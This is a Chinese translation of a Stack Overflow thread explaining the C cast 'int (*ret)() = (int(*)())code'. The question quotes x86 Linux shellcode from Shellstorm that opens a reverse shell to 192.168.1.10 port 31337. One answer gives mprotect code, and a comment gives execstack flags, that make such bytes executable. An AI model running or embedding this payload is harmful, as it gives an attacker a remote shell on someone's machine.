int (*ret)() = (int(*)())code 的意思是什么?

5
这是从Shellstorm复制的代码:

这个是一个HTML段落标签。

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

请问有人能够帮忙解释一下这句话“int (ret)() = (int()())code;”吗?它是如何工作的?为什么它可以使上面的代码运行?


这不是内核代码。因此,“linux-kernel”不是合适的标签。 - Basile Starynkevitch
将 char 指针转换为函数指针!这是未定义的行为。你只能将函数指针(任何类型)分配给函数指针。 - ajay
6个回答

12
int(*ret)()

声明了一个名为ret的函数指针;该函数接受未指定的参数并返回一个整数。

(int(*)())code

code数组转换为相同类型的函数指针。

因此,这将把code数组的地址转换为一个函数指针,然后允许您调用它并执行代码。

请注意,这在技术上是未定义行为,所以不一定以这种方式工作。但是,这就是实际上所有实现都编译此代码的方法。像这样的Shellcode不可移植--code数组中的字节取决于CPU架构和堆栈帧布局。


4
提到未指定数量和类型的参数应该给予肯定。许多人错误地认为 int func(void)int func() 是相同的,虽然它们在 C++ 中是相同的,但在 C 中不同。 - ajay
1
同时,将数组转换为函数指针是未定义行为。不知道我怎么会错过它。 - ajay
1
我在答案中添加了关于可移植性的注释。 - Barmar

5
你应该阅读一本好的C编程书籍,比如现代C。你甚至可以阅读这个草案C11标准或者查看这个C参考网站。 int (*ret)()声明一个指向返回int类型的函数的指针 -没有指定参数(在C中)。
然后= (int(*)())code;使用强制类型转换将ret初始化为code的地址。
最后,ret();调用该函数指针,从而调用code数组中的机器代码。
顺便说一句,编译器(和链接器)可能会将code放在只读但不可执行的段中(这可能取决于程序的链接方式)。然后你的shell代码可能无法工作。
我建议在编译器中启用所有警告和调试信息。在2020年使用GCC,这意味着编译时要使用gcc -Wall -Wextra -g,然后使用GDB进行调试。
在Linux上,您甚至可以使用strace(1)ltrace(1)来了解可执行文件的行为。

顺便说一下,这是必要的。 - alk
在这里进行函数指针的类型转换是多余的,因为如果 code 具有不同的签名,则会导致未定义的行为。 - ajay

3
int (*ret)()

将函数指针ret定义为返回一个未指定参数数量的int类型的函数。

... = (int(*)())code;

unsigned char数组code转换为函数ret所引用的类型,并将其赋值给ret

此调用

ret();

然后执行存储在code中的操作码。

总之,这不是一件好事。


2

int (*)()是指向具有以下原型的函数的指针类型:

int func();

由于语言解析方式和运算符的优先级,我们需要将星号放在括号中。同时,在声明该类型的指针变量时,变量名应该放在星号后面而不是类型后面。例如,不应该这样写:
int (*)() ret;

但是,更确切地说
int (*ret)();

在您的情况下,ret 变量既被声明又被初始化,并涉及类型转换。
要通过函数指针调用函数,您可以使用更复杂的语法:
(*ret)();

或者更简单的方法:
ret();

使用前一种语法更好,因为它告诉代码读者,ret实际上是指向函数的指针,而不是函数本身。
原则上,该代码实际上不应该运行。在大多数现代操作系统中,code[]数组位于初始化数据段中,该数据段不可执行,即调用ret();应该会产生一个分段错误。例如,在Linux上,GCC将code变量放在.data部分中。
.globl code
    .data
    .align 32
    .type   code, @object
    .size   code, 93
code:
    .string "1\3001\3331...\200"

然后.data部分进入一个非可执行的读写段:

$ readelf --segments code.exe

Elf file type is EXEC (Executable file)
Entry point 0x4003c0
There are 8 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001c0 0x00000000000001c0  R E    8
  INTERP         0x0000000000000200 0x0000000000400200 0x0000000000400200
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x000000000000064c 0x000000000000064c  R E    100000
  vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
  LOAD           0x0000000000000650 0x0000000000500650 0x0000000000500650
                 0x0000000000000270 0x0000000000000278  RW     100000
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  DYNAMIC        0x0000000000000678 0x0000000000500678 0x0000000000500678
                 0x0000000000000190 0x0000000000000190  RW     8
  NOTE           0x000000000000021c 0x000000000040021c 0x000000000040021c
                 0x0000000000000020 0x0000000000000020  R      4
  GNU_EH_FRAME   0x0000000000000594 0x0000000000400594 0x0000000000400594
                 0x0000000000000024 0x0000000000000024  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     8

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
          .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
          .rodata .eh_frame_hdr .eh_frame
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   04     .dynamic
   05     .note.ABI-tag
   06     .eh_frame_hdr
   07     

该段缺少可执行标志,即仅为RW而不是RWE,因此无法从该内存中执行任何代码。实际上,在运行程序时,第一个存储在code中的指令就会导致故障。
(gdb) run
Starting program: /tmp/code.exe 
Shellcode Length: 92

Program received signal SIGSEGV, Segmentation fault.
0x0000000000500860 in code ()
(gdb) up
#1  0x00000000004004a7 in main () at code.c:27
27     ret();
(gdb) print ret
$1 = (int (*)()) 0x500860 <code>

为了使其正常工作,您可以使用posix_memalignmprotect的组合来分配一个内存页并使其可执行,然后将code[]的内容复制到其中:
// For posix_memalign()
#define _XOPEN_SOURCE 600
#include <stdlib.h>
// For memcpy()
#include <string.h>
// For sysconf()
#include <unistd.h>
// For mprotect()
#include <sys/mman.h>

size_t code_size = sizeof(code) - 1;
size_t page_size = sysconf(_SC_PAGESIZE);
int (*ret)();

printf("Shellcode Length: %d\n", code_size);
posix_memalign(&ret, page_size, page_size);
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
memcpy(ret, code, code_size);
(*ret)();

请注意,这段代码使用 int 0x80 调用 Linux 内核。如果在 64 位 Linux 系统上编译程序,则无法直接运行,因为系统调用机制不同。在这种情况下应该使用 -m32 来强制编译器生成一个 32 位可执行文件。


关于第一部分回答中的括号混乱问题,解释得非常好。至于第二部分,使 code[] 数组可执行的另一种方法是使用传递给 GCC 的 -fno-stack-protector -z execstack 标志编译源文件。 - golem

1
int (*ret)() = (int(*)())code;

int (*ret)() 定义了一个指向返回 int 类型且参数数量未指定的函数的指针;(int(*)())code 是一种类型转换,让另一部分可以将 code 视为函数指针,与 ret 相同的类型。

顺便提一下,根据 code 的内容,这段代码可能仅适用于特定的 CPU 和操作系统组合,如果它能正常工作的话。


1
您的程序将产生未定义的行为。C99规范,第6.2.5节,第27段说:
“指向void的指针应具有与指向字符类型的指针相同的表示和对齐要求。类似地,指向兼容类型的限定或非限定版本的指针应具有相同的表示和对齐要求。所有指向结构类型的指针应具有相同的表示和对齐要求。所有指向联合类型的指针应具有相同的表示和对齐要求。指向其他类型的指针不需要具有相同的表示或对齐要求。”
此外,在第6.3.2.3节,第8段中还说:
“一个类型的函数指针可以转换为另一种类型的函数指针,然后再转换回来;结果应该与原始指针相等。”
这意味着您不应将函数指针分配给非函数指针,因为函数指针的大小不能保证与char指针或void指针的大小相同。现在这些问题解决了,让我们来看看您的代码。
int (*ret)() = (int(*)())code;

首先让我们看左手边。它将ret定义为指向一个函数的指针,该函数接受一个固定但未知数量和类型的参数(听起来不太好)。在右侧,您正在将数组code强制类型转换为与ret相同的类型,而code会计算为指向其第一个元素的指针。这是未定义的行为。只有函数指针可以分配给函数指针,不能将指向任何其他类型的指针分配给函数指针,原因如上所述。此外,sizeof运算符可能不适用于函数指针,正是因为这个原因。
在C ++中,空参数列表意味着void,但在C中并非如此,其中它表示没有可用信息来检查调用者提供的参数列表。因此,您必须明确提及void。因此,假设您现在在程序中定义了一个名为code的函数,您最好将该语句编写为:
int code(void); 
int (*ret)(void) = (int(*)(void))code;

为简化复杂的C语言声明,可以使用typedef关键字来帮助。
typedef int (*myfuncptr)(void); 

这定义了一个类型myfuncptr,是指向不带参数并返回int的函数的指针类型。接下来,我们可以像在C中定义任何类型的变量一样定义myfuncptr类型的变量。但请注意,code必须具有与ret所指向的函数类型相同的签名。如果您使用myfuncptr强制转换任何其他类型的函数指针,将导致未定义的行为。因此,这使得类型转换变得多余。

int code(void);
int foo(int);

myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code;
myfuncptr bar = (myfuncptr)foo;  // undefined behaviour.

当您将函数名分配给相同类型的函数指针时,函数名会评估为指针。您不需要使用地址运算符&。同样,您可以在不先取消引用指针的情况下调用指向的函数。
ret();     // call the function pointed to by ret
(*ret)()   // deferencing ret first.

请阅读此处以获取详细信息-将函数指针转换为另一种类型。这是一个关于如何理解复杂C声明的好资源-顺时针/螺旋规则。 还要注意,C标准只规定了两种可接受的main签名:
int main(void);
int main(int argc, char *argv[]);

非常好的细节,对像我这样的初学者来说很有帮助。特别感谢包含明确的void和关于函数名称在某些情况下评估为指针的小提示。 - LFMekz

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接